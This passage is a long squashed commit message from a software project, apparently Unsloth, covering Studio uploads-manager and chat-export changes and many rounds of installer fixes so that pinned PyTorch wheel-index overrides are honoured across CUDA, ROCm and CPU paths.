* Address review findings on the uploads manager and quant pins
- Deleting the last attachment stores '[]' instead of NULL: a NULL reads
back as a missing field and triggers the legacy IndexedDB backfill,
which resurrected the deleted attachment on the next chat load
- The attachment file endpoint now serves audio: adapter parts store
{data, format} raw base64 and compare chats store a bare base64 string;
media type comes from the attachment contentType or the format
- Compare-chat uploads live in message content parts, not attachments;
the uploads list now includes those blobs via synthetic content-part
ids that the same get and delete routes resolve
- Deleting a quant from the expanded repo row also unpins it so a pinned
row cannot try to load a file that no longer exists
- Thumbnails in the uploads list fetch their blob only once the row is
visible, so a long screenshot history does not download everything
- Nine new backend tests cover audio serving, content-part listing,
serving, deletion, and the empty-list delete behavior
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Data tab: single action dropdown with format choices for chat training data
- The three fine-tune buttons collapse into one dropdown plus a run
button; pick Load in Train tab, Open in Recipes, or Export JSONL,
then click the arrow to run it
- The dropdown's Format section adds ShareGPT and Alpaca alongside the
default OpenAI messages format, ticked like a checklist; all three
shapes are auto-detected by the Train tab's format check
- Alpaca is single-turn, so each user to assistant pair becomes its own
record with the system prompt and earlier turns carried in the input
column
- Shorter description on the training data row
- Uploaded files rows show the size under the file name instead of a
separate column, matching the tighter layout
* Polish the training data action control
- Run button is a true circle (icon-sm plus rounded-full) with a
heavier arrow stroke
- Dropdown trigger uses the shared standard chevron and a fixed width
so switching actions no longer resizes the control
* Shorten the training data row description
* Use the standard chevron for the run button and enlarge the ticks
- Run button uses the shared standard right chevron so it matches the
dropdown chevron instead of the hugeicons arrow
- Dropdown ticks bumped up a size for legibility
* Reword the training data row description
* Shorten Data Recipes to Recipes in the training data description
* List Export JSONL first and rename the default format to Chat Completions
* Handle legacy string content in fine-tune exports and gate Train on chat-only hosts
- messageToPlainText now accepts plain-string message content, the shape
legacy and imported histories store, so those conversations export
instead of being skipped as having no exchange
- The Load in Train tab action is disabled on chat-only hosts the same
way the sidebar gates Train; the default action falls back to Export
JSONL there so the run button never uploads a dataset that /studio
would immediately redirect away from
* Narrow the training data action dropdown slightly
* Drop the format picker from the training data dropdown
Chat Completions (OpenAI messages) is the only export format we ship, so
the ShareGPT and Alpaca options and the Format section are removed. The
export always uses the OpenAI messages shape.
* Address the second round of review findings
Security
- Chat attachment data URLs no longer echo their embedded media type:
anything that is not a plain raster image serves as octet-stream, so
imported text/html or SVG payloads cannot render under the app origin
- Uploaded .html/.htm RAG documents serve as text/plain for the same
reason; the preview sheet only uses the file URL for PDFs
Uploads manager
- Remote image URLs in imported chats are no longer listed as stored
uploads (nothing to serve, and delete would strip the chat reference);
the delete guard mirrors the same data:-only rule
- Deleting a content-part upload refetches the list since the remaining
parts re-index, keeping sibling row ids current
- Deleting a project document from the Data tab invalidates the project
sources cache like the sources panel does
- Data-tab deletions now patch the loaded thread's in-memory copy via a
small event, so a later repo sync cannot write the attachment back
Fine-tune export
- Branch siblings from retries stay out of the exported conversation;
only the selected chain converts (full exports still keep everything)
- Assistant turns before the first user turn drop, preserving leading
system prompts, so no unconditioned assistant targets are emitted
Four new backend tests cover the media type clamp and remote-URL rows;
two existing tests updated for the clamped types
* Fix uploaded file lifecycle and model state
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Make archived chats a Data settings subpage
* Studio: fix attachment route tests and pinned quant edge cases
- test_chat_attachments: drop asyncio.run around the synchronous
/attachments routes (list/get/delete are plain def, so asyncio.run
raised 'a coroutine was expected' and failed the Repo tests CI job).
- test_chat_attachments: align compare-chat content-part assertions with
the stable content-hash id scheme (content-part-sha256-...) instead of
the removed array-index ids; resolve ids from the listing.
- pickers: pass disabled={deleteDisabled} to the pinned-quant delete
action so a quant cannot be deleted mid model-load, matching the
expanded variant rows.
- pickers: build the pinned-quant existence set from the query-unfiltered
cached GGUF repos (format filter still applied) so a pinned quant stays
findable when the search term matches only its quant name.
* Fix Studio review regressions
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Guard fine-tune export content blocks
* Add Export button for archived chats
Adds an Export action to the Archived chats view in Settings > Data that
downloads only the archived chats as a JSON backup (their threads, messages
and projects). The button sits in the archived header row and appears only
when archived chats exist.
* Refactor archived export into pure, testable units
Split the archived-chats export into a dependency-free filter
(archived-chat-export.ts) and a shared JSON download helper
(download-json.ts). Skip the download when nothing is archived so a
stray call never drops an empty file. No behavior change to the button.
---------
Co-authored-by: shimmyshimmer <shimmyshimmer@users.noreply.github.com>
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Etherll <61019402+Etherll@users.noreply.github.com>
Co-authored-by: Unsloth <michaelhan@Michaels-MacBook-Pro.local>
Co-authored-by: Lee Jackson <130007945+Imagineer99@users.noreply.github.com>
* install: let UNSLOTH_TORCH_INDEX_FAMILY / _URL override CUDA wheel detection
get_torch_index_url (and the studio-update mirror _detect_cuda_torch_index_url)
chose the torch wheel family solely by probing the host GPU, with no override.
In a headless / container / CI build the host driver is visible via the
/proc/driver/nvidia/gpus fallback but nvidia-smi cannot report a CUDA version,
so the function fell back to its cu126 default and installed the wrong wheels
(e.g. a cu128 image got cu126 torch).
Add an explicit override checked before any probing, in both the shell installer
and the Python studio-update path:
- UNSLOTH_TORCH_INDEX_URL full index URL, used verbatim (wins)
- UNSLOTH_TORCH_INDEX_FAMILY family (cpu, cu128, rocm6.4, ...) appended to the
mirror base (UNSLOTH_PYTORCH_MIRROR still honoured)
This matches how the published GPU images select CUDA -- vLLM and SGLang take the
CUDA version from an explicit build ARG rather than detecting it, and the Unsloth
Docker base image already pins the cu128 index directly. Desktop installs are
unchanged: with no override set, detection runs exactly as before.
Adds test_get_torch_index_url.sh cases for the override (family, full URL,
precedence, mirror base, trailing-slash strip, empty-ignored).
* install: make the torch-index override authoritative across ROCm paths
Address review feedback on the override added in this PR so a pinned index is
honoured everywhere, not just in get_torch_index_url:
- Skip the WSL ROCm bootstrap (root privilege + large downloads, probes
/dev/dxg) when UNSLOTH_TORCH_INDEX_URL / _FAMILY is set; it previously ran
before the override was consulted.
- Skip the Radeon/Strix rerouting (which re-probes the GPU and overwrites the
resolved URL with repo.radeon.com / repo.amd.com) when the index is pinned, so
an explicit ROCm override (e.g. UNSLOTH_TORCH_INDEX_FAMILY=rocm6.4) is kept.
- install_python_stack.py: derive _TORCH_BACKEND from the override when
UNSLOTH_TORCH_BACKEND is unset (standalone studio update), so _ensure_rocm_torch
/ _ensure_cuda_torch repair to the requested family instead of re-detecting.
- Strip ALL leading/trailing slashes in the shell override to match the Python
side (avoids 404s on strict pip proxies).
Adds test cases for double-slash and leading/trailing-slash overrides.
* install: honor pinned torch index in CUDA/ROCm repair paths
Follow-up to the override work in this PR: the get_torch_index_url / install.sh
reroute already respect a pinned UNSLOTH_TORCH_INDEX_URL / _FAMILY, but the
Python repair helpers in install_python_stack.py still re-probed the GPU and
could overwrite the pinned family. Make the pin authoritative there too:
- _ensure_cuda_torch: an explicit cu* pin commits to CUDA wheels, so repair a
ROCm-poisoned venv even when no NVIDIA GPU is visible here (headless /
container / CI cross-install), instead of bailing on the GPU-presence gate.
- _ensure_rocm_torch: skip the AMD per-gfx (Strix) reroute when a ROCm index is
pinned, and in the generic reinstall path install from the pinned URL verbatim
rather than re-detecting the host ROCm version. gfx*/rocm7.2 indexes serve
torch 2.11+, so select the 2.11 package specs for a gfx leaf.
- install.sh: raise the torch constraint to 2.11 for */gfx* indexes too, matching
rocm7.2, so a pinned full-URL/family override that returns early keeps a valid
constraint.
Add _explicit_torch_index_url / _explicit_rocm_torch_index_url helpers and tests
covering the no-GPU CUDA pin repair and the explicit gfx index honored verbatim.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* install: honor torch-index override on the Windows installers too
The pinned-index work landed for install.sh and install_python_stack.py, but the
Windows installers still picked the wheel index from GPU probing. Extend the same
UNSLOTH_TORCH_INDEX_URL / _FAMILY contract so a pinned index wins on every platform:
- install.ps1: Get-TorchIndexUrl returns the pinned URL/family before nvidia-smi
probing; the AMD ROCm reroute is skipped when the index is pinned, so an explicit
cpu/cu* pin on an AMD host is not overwritten.
- studio/setup.ps1: add shared Get-PinnedTorchIndexUrl / Get-TorchIndexLeaf helpers;
the stale-venv check, the install selection and the AMD reroute all honor the pin,
and the CPU/CUDA install pulls from the resolved index URL.
- tests: parity test that all four installers read both override vars and the two
Windows installers gate the AMD reroute on the pinned flag.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* install: complete pinned-index handling for ROCm/Windows edge cases
Follow-ups to the override work flagged in review:
- install.ps1: a pinned gfx*/rocm>=7.2 index previously skipped the AMD reroute
that sets the torch>=2.11 floor, so the generic install used torch>=2.4,<2.11
and could resolve the known-bad _grouped_mm wheel. Route a pinned ROCm index
through the ROCm install path with the 2.11 floor + companions, and guard the
companion-spec lookup so a skipped reroute block cannot null-deref.
- studio/setup.ps1: the stale-venv check compared the installed flavor (cuXXX/cpu,
with +rocm misread as cpu) against the raw pinned leaf (gfx1151 / rocm6.4), so a
correct pinned ROCm venv was always marked stale. Classify +rocm wheels as the
generic 'rocm' flavor and normalize a pinned rocm*/gfx* leaf to 'rocm' before
comparing (cu* stays specific so cu126-vs-cu128 still rebuilds).
- install_python_stack.py: _ensure_cuda_torch now also reinstalls from a pinned
CUDA index when the venv carries a CPU wheel (headless CPU-venv-to-CUDA
cross-install via 'studio update'), not only when it finds a ROCm build.
- tests: parity assertions already cover all four installers honoring the override.
* install: finish pinned ROCm/CUDA edge cases on Windows + repair path
Follow-ups to the previous round:
- studio/setup.ps1: a pinned gfx*/rocm>=7.2 index now routes through the ROCm
install path with the 2.11 floor + companions (it previously fell through to the
CUDA branch with bare torch/torchvision/torchaudio against the ROCm index). The
CPU/CUDA fallback index is forced to the CPU wheel index when a ROCm index is
active, so a failed pinned-ROCm install does not retry the ROCm mirror.
- studio/setup.ps1: the stale-venv check no longer treats an unrecognized pinned
URL leaf (e.g. a PEP 503 mirror ending in /simple) as a torch flavor tag, which
was marking a correct venv stale; cu*/cpu/rocm/gfx leaves are still compared.
- install.ps1: the post-failure CPU fallback uses an explicit CPU index instead of
, which for a pinned ROCm index was the ROCm mirror itself (so the
'fallback' just retried the failing index and aborted the installer).
- install_python_stack.py: _ensure_cuda_torch now also reinstalls when the venv's
CUDA family differs from a pinned one (installed cu126 vs pinned cu128), not only
CPU->CUDA; the probe reports the installed cuXXX tag for the comparison.
* install: keep the ROCm to CPU fallback install inside the retry-helper window
The pinned-ROCm CPU fallback computes an explicit CPU index, but the comment
explaining why it cannot reuse $TorchIndexUrl pushed the actual
Invoke-InstallCommandRetry / --force-reinstall call more than 600 chars past the
"ROCm PyTorch install failed" message, so test_pr5940_followups's window check
no longer saw the retry helper. Move the CPU-index computation and its comment
above the failure substep so the retrying force-reinstall stays adjacent to the
message. No behavior change: same explicit CPU index, same retry, same
--force-reinstall.
* install: address #6692 review round 5 (ROCm/CPU pin edge cases)
setup.ps1:
- Stale-venv check: treat an AMD/ROCm host (HasROCm or a resolved gfx arch) with
no explicit pin as expecting "rocm", not "cpu", so a healthy +rocm venv is not
flagged stale (which made installer-managed setup exit and direct update rebuild).
- Pinned-ROCm install failure now routes into the force-reinstall CPU branch:
CuTag stays the rocm/gfx leaf on failure, so the condition also checks
ROCmCpuFallback; otherwise the CUDA branch installed from the CPU index without
--force-reinstall and kept the partial ROCm torch.
- Explicit ROCm pin compare no longer collapses gfx*/rocm* to a generic "rocm":
it compares the +rocmX.Y version (and the torch 2.11 line for gfx pins) so
changing the pinned family (e.g. rocm6.4 -> gfx1151) rebuilds and applies it.
install_python_stack.py:
- _ensure_rocm_torch: an explicit ROCm wheel-index pin now bypasses the
NVIDIA-present / no-AMD-GPU / unreadable-ROCm gates (headless/container/CI
cross-install), mirroring the explicit-CUDA-pin bypass in _ensure_cuda_torch.
- Add _ensure_cpu_torch: an explicit CPU pin (FAMILY=cpu or /cpu URL) now has a
repair path that reinstalls CPU torch over an existing CUDA/ROCm build on a
standalone update (which skips install.sh's flavor enforcement).
install.sh:
- Pin torchvision/torchaudio companions alongside torch for the rocm7.2 / per-gfx
index and the Strix reroute (those AMD indexes publish companions independently
and a bare name can resolve a torch-2.12-built wheel, an ABI mismatch).
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* torch-index override: classify CUDA pin by leaf; trim blank shell overrides
_ensure_cuda_torch only overrode the NVIDIA-presence gate for *any* pinned index,
so a non-CUDA mirror URL (or a ROCm/CPU pin) on a non-NVIDIA host with ROCm torch
could force a CUDA reinstall over a working ROCm venv. Add
_explicit_cuda_torch_index_url() (leaf cu*), matching the ROCm/CPU helpers, and
gate on it instead.
install.sh::get_torch_index_url treated a whitespace-only UNSLOTH_TORCH_INDEX_URL
/ _FAMILY as authoritative (yielding an invalid index), unlike the Python .strip()
and PowerShell IsNullOrWhiteSpace paths; trim leading/trailing whitespace first.
* install: honor pinned torch index over CVD/GPU gates and fix leaf-based ROCm classification
- install_python_stack.py: an explicit cu* pin now clears the CUDA_VISIBLE_DEVICES
empty/-1 hide gate as well as the NVIDIA-presence gate, so
CVD=-1 UNSLOTH_TORCH_INDEX_FAMILY=cu128 studio update repairs to CUDA wheels
(parity with install.sh's get_torch_index_url override, which skips all GPU
probing). Unpinned CVD=-1 still skips.
- install_python_stack.py: _ensure_cpu_torch installs the bounded _CPU_TORCH_PKG_SPEC
instead of a bare torch/torchvision/torchaudio trio; the /cpu index now also
serves torch 2.11+, which is outside the supported <2.11 range.
- install.sh: the torch>=2.11 constraint case matches the index leaf (rocm7.2|gfx*)
instead of the whole URL, so a mirror base path containing a gfx/rocm7.2 segment
with a cu*/cpu family is not false-matched onto the 2.11 line.
- setup.ps1: the stale-venv check expects rocm torch only for arches the install
path maps to a repo.amd.com wheel index; an unmapped/unreadable arch installs
CPU, so a correct CPU venv is no longer marked stale.
- Tests for each of the above.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* install: tighten pinned torch-index override edge cases
- install.sh: trim whitespace-only UNSLOTH_TORCH_INDEX_URL/_FAMILY before the
_torch_index_pinned guard, matching get_torch_index_url, so a blank override no
longer skips the WSL bootstrap and Radeon/Strix reroutes while detection still
picks the normal index.
- install.sh / install.ps1 / setup.ps1 / install_python_stack.py: force the torch
2.11 floor only for the gfx families with the <2.11 _grouped_mm bug (gfx120X-all,
gfx1151, gfx1150). A pinned override to gfx110X-all/gfx90a/gfx908 stays on the
default range, matching the automatic AMD path.
- install_python_stack.py _ensure_cuda_torch: treat an untagged CUDA build under a
CUDA pin as a family mismatch (reinstall), and match cuXXX pins narrowly (cu +
digits) so a custom/current mirror leaf no longer forces CUDA over a CPU/ROCm venv.
- install_python_stack.py _ensure_rocm_torch: reinstall when an explicit ROCm pin
names a different ROCm family than the already-installed ROCm torch (the ROCm
analogue of the CUDA cuXXX mismatch repair).
Adds tests for each case.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* install: fix second-order edge cases in pinned torch-index ROCm/CUDA handling
Parse the ROCm torch probe positionally so an empty HIP marker is kept:
CPU/CUDA torch no longer reads as HIP, so the ROCm reinstall is not skipped.
Emit one "<marker>|<version>" line (like the CUDA probe) for a robust parse.
Limit the gfx torch 2.11 expectation to the install allowlist
(gfx120X-all/gfx1151/gfx1150). A pinned gfx110X-all/gfx90a/gfx908 index stays
on the default <2.11 specs, so a correct 2.10+rocm wheel is no longer judged a
mismatch and force-reinstalled every update.
Distinguish an AMD per-arch wheel (three-part +rocmA.B.C) from a generic
pytorch.org wheel (two-part +rocmA.B): a gfx per-arch pin over a generic 2.11
wheel now reinstalls the per-arch wheel, while an already-installed per-arch
wheel is not re-flagged (no reinstall loop).
Mirror all of the above in setup.ps1 via new Test-RocmGfx211Leaf /
Test-CudaFamilyLeaf / Get-RocmPinStaleTags helpers, reused by both the
install-spec path and the stale-venv check so they cannot diverge again.
Require a digit after "cu" (^cu[0-9]) in setup.ps1, install.ps1 and install.sh
so a mirror leaf like /custom or /current is not branded CUDA and does not
rebuild the venv every run.
Add tests: CPU/CUDA probe -> has_hip_torch False; gfx110X-all pin + 2.10 wheel
not stale; gfx1151 pin + generic 2.11 wheel stale; gfx1151 pin + per-arch wheel
not stale; /custom and /current not CUDA; plus cross-language allowlist and
cu-digit parity guards, and a PowerShell unit test for the new setup.ps1 helpers.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Fix ROCm/gfx pin case normalization, ROCm-tag requirement, and CUDA-leaf classification
Normalize torch-index leaves to lowercase before the gfx*/rocm*/cu* allowlist
matches so the canonical gfx120X-all (capital X) gets the torch 2.11 floor in
install.sh (leaf, flavor and repairable helpers). Require an installed +rocm
local tag before a rocmX.Y or non-2.11 gfx pin is judged satisfied in
setup.ps1 Get-RocmPinStaleTags and the Python _rocm_pin_family_mismatch, so an
untagged CPU/CUDA wheel never leaves the pin unapplied. Classify a leaf as CUDA
only via ^cu[0-9]: the Python _TORCH_BACKEND derivation now uses
_is_cuda_family_leaf, and install.sh brands cuda only on cu[0-9]* (unset on an
unknown /current /custom mirror leaf) so the stack probes the GPU instead of
skipping ROCm repair. Add bash, Python and PowerShell tests for capital
gfx120X-all floor, current/custom not-cuda, and untagged-wheel ROCm pins.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* install: converge torch-index pin detection via a per-venv marker
Introduce a torch-index MARKER that records the exact wheel --index-url used
after each successful torch install, so `unsloth studio update` / repair makes
the "did the pinned index change?" decision by an EXACT string compare rather
than inferring it from the wheel +rocm/+cu version tag. The tag cannot encode
the AMD per-arch gfx family (two 2.11 gfx indexes both install +rocm7.13.0), so
the tag heuristic missed a gfx1151 -> gfx120X-all switch and a custom-URL swap.
Marker path is per-venv (.unsloth-torch-index), one line = the resolved index
URL, written atomically (temp + rename). Path, format and normalization are
shared across all four installers (install.sh, install_python_stack.py,
setup.ps1, install.ps1).
- Reapply gfx pins on a per-arch target change: the marker's exact compare
reinstalls when the pinned index differs, even when both wheels share a tag.
- Honor custom ROCm URL pins during repair: an explicit index whose leaf is not
rocm/gfx/cu/cpu (e.g. simple, current) now reinstalls torch VERBATIM from the
pin when it differs from the marker ("URL wins verbatim").
- Align the KNOWN-2.11 rocm/gfx set to exactly rocm7.2 plus the gfx allowlist
gfx120x-all/gfx1151/gfx1150 in every language; stop treating an unknown newer
rocm (rocm7.3, which does not exist) as the 2.11 line speculatively.
Backward compatible: with no marker (old venvs, torch installed out-of-band) the
existing +rocm/version-tag heuristics still decide, and a matching marker never
reinstall-loops. A cu128 CUDA pin stays a CUDA pin; custom and current leaves are
not CUDA. Adds marker tests (py/sh/ps) plus cross-installer parity checks.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* install: keep the torch-index marker additive to flavor validation
Three narrow fixes in the marker-based stale-venv detection:
- setup.ps1: a matching marker no longer overwrites the detected installed
flavor. The marker compare is now an additional rebuild trigger, so a stale
wheel (torch swapped to a +cpu build while the marker still records a cuXXX
pin) is still caught by the flavor check instead of being masked as up to date.
- setup.ps1: a supported AMD arch carrying CPU torch is no longer marked stale
and wiped. The downstream AMD Windows ROCm override upgrades CPU torch to ROCm
in place, so wiping first would delete the venv and abort with "Virtual
environment not found". Only a genuinely wrong CUDA wheel still rebuilds.
- install.sh: the Radeon --find-links path records its repo.radeon.com base in
the marker instead of the generic pytorch.org ROCm fallback index, so a later
pin to that generic family correctly reinstalls rather than comparing equal.
Mirrors install.ps1/setup.ps1, which already record the real AMD index.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* install: honor custom pins and repair pinned venvs in place
Four follow-ups to the torch-index marker work:
- install_python_stack.py: _ensure_cuda_torch/_ensure_rocm_torch now bail when an
explicit custom-index pin names no known torch family, so a verbatim URL override
(a private/simple mirror) is not clobbered by auto-detected CUDA/ROCm wheels
before _ensure_verbatim_torch_index applies it.
- install_python_stack.py: the ROCm marker is additive, not a substitute -- a
matching marker still runs the family/version check so a wheel swapped after the
marker was written is caught. Mirrors setup.ps1.
- setup.ps1: a stale venv under an explicit pin, whose torch still imports, is
repaired in place (force-reinstall torch from the pin in the dependency pass)
instead of wiped. The wipe path only delegates to install.ps1, so on a direct
update it stranded the user at "Virtual environment not found" instead of
applying the new pin. A broken venv or unpinned drift still wipes/delegates.
- install.ps1: when a pinned ROCm install fails over to a CPU base, the marker now
records the CPU index actually used instead of the ROCm pin, so the next managed
setup does not see CPU torch under a ROCm pin and abort as stale.
* setup.ps1: keep the ROCm CPU-fallback force line the pr5940 test guards
5c93ffd4 folded the pin-change force-reinstall into the ROCm CPU-fallback
condition on one line, so the exact literal that test_pr5940_followups.py checks
(if ($ROCmCpuFallback) { $cpuForce = @("--force-reinstall") }) no longer appeared
and the test failed. Split the two conditions into separate if lines: the ROCm
fallback line is restored verbatim and the pin-change force is its own line. Both
still set $cpuForce to the array, so @splat passes one arg.
* install: honor exact CUDA/custom index URL pins in the torch-index marker
Address three Codex review findings on the torch-index marker mechanism:
- install.sh: after the ROCm CPU repair reinstalls torch from the generic
$TORCH_INDEX_URL, record that as the marker source. A Radeon --find-links
install set _TORCH_MARKER_INDEX_URL to its repo.radeon.com base earlier, so
leaving it made the marker misreport Radeon wheels and a later Radeon pin would
compare equal and skip a needed reinstall.
- install_python_stack.py: _ensure_cuda_torch now consults the exact-URL marker
(_marker_pin_mismatch) when the installed +cuXXX tag matches the pinned leaf,
so a same-leaf CUDA mirror change (official cu128 to an internal cu128 mirror)
is reinstalled and re-recorded instead of skipped.
- _normalize_index_url / _normalize_family_leaf (install.sh, setup.ps1,
install_python_stack.py): lowercase only KNOWN wheel-family leaves (rocm/gfx/
cpu/cuXXX) so gfx120X-all still matches gfx120x-all, while a custom
(unknown-family) leaf keeps its case so a verbatim URL pin like /Current does
not compare equal to /current. Tests updated to assert the refined behavior.
* install: fix 3 torch-index marker edge cases (CPU mirror pin, Radeon leaf, migrated venv)
Addresses three review findings on the torch-index override path:
1. CPU index URL change on an already-CPU venv. _ensure_cpu_torch returned
early whenever torch was already a CPU build, so a standalone update that
moved the pin (official /cpu -> a private UNSLOTH_PYTORCH_MIRROR /cpu, same
+cpu tag) never reinstalled. It now consults the exact-URL marker and
reinstalls only when _marker_pin_mismatch reports a different index,
mirroring the CUDA/ROCm same-family handling. A matching marker (or none)
still leaves CPU torch untouched, so there is no reinstall loop.
2. Radeon find-links directory misclassified as a pip ROCm family. A
repo.radeon.com/.../rocm-rel-7.2.1 leaf starts with "rocm" but is a
find-links listing, not a pip --index-url. The old startswith(("rocm",
"gfx")) test routed it into a --index-url reinstall that fails against
find-links. New _is_pip_rocm_family_leaf gates on ^rocm\d / gfx (matching
install.sh's rocm[0-9]* and setup.ps1's ^(rocm[0-9]|gfx)), so a Radeon URL
routes to the verbatim/marker path instead.
3. Migrated venv rewriting its marker to a pin it did not install. install.sh
and install.ps1 write the marker unconditionally, so a migration that
preserves existing torch recorded the newly requested pin and a later
update then found a matching marker and skipped the reinstall the pin
needs (e.g. a per-arch gfx1151 -> gfx120X-all switch, identical +rocm tag).
Both now track _TORCH_INSTALLED_THIS_RUN and write the marker only when
torch was actually installed or repaired this run.
Also add Get-NormalizedFamilyLeaf to the setup.ps1 helper-extraction list in
test_torch_index_marker.ps1 (it was added to setup.ps1 and the shell test in an
earlier round but missed here) and add two unit tests covering findings 1 and 2.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* install: keep pinned torch repairs on the pinned index
Two fixes for explicit index pins (UNSLOTH_TORCH_INDEX_FAMILY / _URL):
1. install_python_stack.py's repair paths ran uv without clearing the
inherited uv index env vars. uv resolves the default index (--index-url
or --default-index) at the LOWEST priority, so a UV_INDEX or
UV_EXTRA_INDEX_URL mirror in the environment won for any package it
served: a cu128-pinned repair could install torch from the mirror and
then record the cu128 marker it never used. Verified empirically: with
UV_EXTRA_INDEX_URL=.../cu126 exported, uv pip install torch
--index-url .../cu128 resolves torch 2.13.0+cu126. Strip the four uv
index env vars for pinned-index commands only, mirroring the gate
install.sh, install.ps1 and setup.ps1 already have; non-pinned installs
keep the user's mirror.
2. install.ps1 routed any pinned leaf matching rocm* through the ROCm
--default-index path, so a custom find-links leaf like rocm-rel-7.2.1
was treated as a PEP 503 ROCm index and could silently fall back to CPU
torch on resolution failure. Require a digit after rocm, matching
install.sh's rocm[0-9]* and install_python_stack.py's ^rocm\d.
Adds parity + unit tests for both (11 new tests).
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* install: keep pinned repairs off UV_TORCH_BACKEND and narrow setup.ps1's rocm pin match
Round 2 of the pinned-index hardening:
1. _build_uv_cmd converted UV_TORCH_BACKEND into --torch-backend before the
new env isolation could act, and uv's torch backend redirects torch
resolution to its own per-backend index even when --index-url is given
(verified: a cu128-pinned dry run with UV_TORCH_BACKEND=cpu resolves
torch 2.13.0+cpu). Pinned-index commands now never receive the flag and
UV_TORCH_BACKEND joins the stripped env vars, so uv cannot re-read it.
2. setup.ps1's pinned reroute had the same bare rocm* glob install.ps1 had:
a custom find-links leaf like rocm-rel-7.2.1 was routed through the ROCm
--index-url path instead of the verbatim unknown-pin path. Now requires
a digit after rocm, matching install.ps1, install.sh and
_is_pip_rocm_family_leaf.
3. The marker test's case-normalization checks used -eq, which is
case-insensitive in PowerShell, making them vacuous, and the unknown-leaf
expectation was written lowercased while the implementation deliberately
preserves custom-leaf case. Tightened to -ceq with the case-preserving
expected value.
Adds unit + parity tests for 1 and 2 (5 new tests).
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* install: extend the pinned-index guards to every remaining surface
Round 3 of the pinned-index hardening, closing the same holes on the
surfaces the earlier rounds missed:
1. install.sh's pinned-install env scrub now clears UV_TORCH_BACKEND (uv's
torch backend redirects torch resolution to its own per-backend index
even against --default-index), and both PowerShell wrappers clear it in
their pinned-install scrubs, matching install_python_stack.py.
2. setup.ps1's marker stale check still classified any rocm* leaf as a
PyTorch ROCm family while the install selection is digit-gated, so a
custom rocm-current / rocm-rel-7.2.1 pin stale-compared as
not-rocm vs rocm and force-reinstalled on every studio update. The
stale check now uses the same ^rocm\d gate.
3. install_python_stack.py's pinned-command scrub also strips
PIP_EXTRA_INDEX_URL for the pip fallback: pip adds the env extra index
in addition to --index-url, so an inherited mirror could satisfy torch
off the pin while the marker recorded the pinned URL. PIP_INDEX_URL
needs no strip since the explicit --index-url flag overrides it.
Parity + unit tests extended (4 new tests).
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* install: scrub find-links and carry the pinned scrub through pip fallbacks
Round 4 of the pinned-index hardening:
1. UV_FIND_LINKS joins every pinned-install scrub (install.sh, install.ps1,
setup.ps1, install_python_stack.py): uv's --find-links locations can
satisfy torch off the pinned index the same way an extra index does.
2. setup.ps1's Fast-Install restored the scrubbed vars in its finally
BEFORE the pip fallback ran, and never touched the pip env vars at all,
so a failed uv attempt fell back to python -m pip with an inherited
PIP_EXTRA_INDEX_URL / PIP_FIND_LINKS able to win over the pinned
--index-url. The scrub now wraps the whole function (uv attempt + pip
fallback) and includes the pip vars; restore happens after both.
3. install_python_stack.py's scrub also strips PIP_FIND_LINKS for its own
pip fallback, completing the PIP_EXTRA_INDEX_URL fix from round 3.
Parity tests extended (2 new tests).
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* install: digit-gate rocm leaves in marker normalization and ROCm side effects
Round 5 of the pinned-index hardening (three custom-rocm-leaf edge cases):
1. _normalize_family_leaf lowercased every leaf starting with rocm, so a
custom mirror leaf like rocm-Current compared equal to its lowercase form
and a case-only pin change was skipped. URL paths can be case-sensitive.
The rocm prefix is now digit-gated (rocm[0-9]*, matching
_is_pip_rocm_family_leaf) in install.sh, setup.ps1 and
install_python_stack.py, so only true family leaves (rocm7.2) are
lowercased; a custom rocm-* leaf keeps its case.
2. setup.ps1 Test-MarkerPinMismatch compared normalized URLs with -ne, which
is case-insensitive in PowerShell, so a case-only marker change (Simple
vs simple) was treated as matching and the reinstall skipped. Now -cne.
3. install.sh gated the AMD bitsandbytes install and the "repair ROCm torch"
--default-index reinstall on a bare whole-URL rocm glob, so a custom
CPU/CUDA/private index whose leaf merely starts with rocm (rocm-current)
was force-repaired from the wrong ROCm-only path whenever torch.version.hip
was empty. Both now gate on _torch_index_is_rocm_family, computed once from
the digit-gated leaf (rocm[0-9]*/gfx*).
Tests: 4 new parity assertions plus 2 case-sensitivity marker checks.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* install: apply an explicit custom torch-index pin on the first update
Round 6: an explicitly-set custom (unknown-family) UNSLOTH_TORCH_INDEX_URL
was silently ignored on the first `studio update` of a venv that predates
the marker feature, on both platforms, because the no-marker case was
treated as "do nothing" and the version-tag heuristics cannot judge an
unknown leaf.
1. install_python_stack.py _ensure_verbatim_torch_index now reinstalls
verbatim when the marker is ABSENT (None), not only when it differs, and
short-circuits only when the marker already records this exact pin. It
then writes the marker, so every later update is a no-op. A user who did
not set the override gets pin=None and is untouched, so an out-of-band
torch install is never clobbered.
2. setup.ps1: for an unknown-family pin on a marker-less venv the stale-venv
check now sets PinChangedForceReinstall so the torch block reinstalls in
place from the pin. It deliberately does NOT set shouldRebuild, which
would wipe the venv and strand a direct `studio update`.
3. setup.sh (the Linux `studio update` entry point) skipped
install_python_stack.py entirely when unsloth was already current, so the
